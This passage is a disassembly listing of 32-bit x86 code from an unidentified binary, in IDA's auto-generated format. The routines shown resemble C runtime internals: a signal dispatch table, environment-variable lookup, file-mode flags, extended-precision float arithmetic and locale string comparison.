loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E06F9h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E06F9h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 27F0000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
